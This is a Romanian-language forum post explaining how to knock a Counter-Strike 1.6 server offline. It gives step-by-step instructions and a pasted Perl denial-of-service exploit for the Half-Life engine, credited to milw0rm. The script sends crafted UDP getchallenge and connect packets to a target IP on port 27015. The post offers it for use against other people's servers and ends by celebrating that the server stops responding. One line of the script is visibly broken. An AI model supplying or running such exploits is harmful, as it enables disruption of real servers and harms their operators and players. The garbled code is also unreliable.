Jump to content
Printu2008

Cum sa inchizi un sever de CS 1.6 folosind Perl

Recommended Posts

1. Descarcati perl (cautati pe google active perl download)

2. Instalatil

3.

#!/usr/bin/perl
# Server must not be running steam. /str0ke


# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";

sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$;

$c2=$c[1];

$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

# milw0rm.com [2006-02-11]

4. Salvatil intrun fisier denumit x.pl (sa aibe extensia .pl)

5. RUN>CMD>cd C:/Perl/Bin

perl x.pl [iP-UL SERVERULUI] (cu port ex: xx.xxx.xx.xxx:27015 si fara paranteze)

6. Asteptati 1-2 min. Inchideti fereastra

SERVER IS NOT RESPONDING :twisted:

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.


×
×
  • Create New...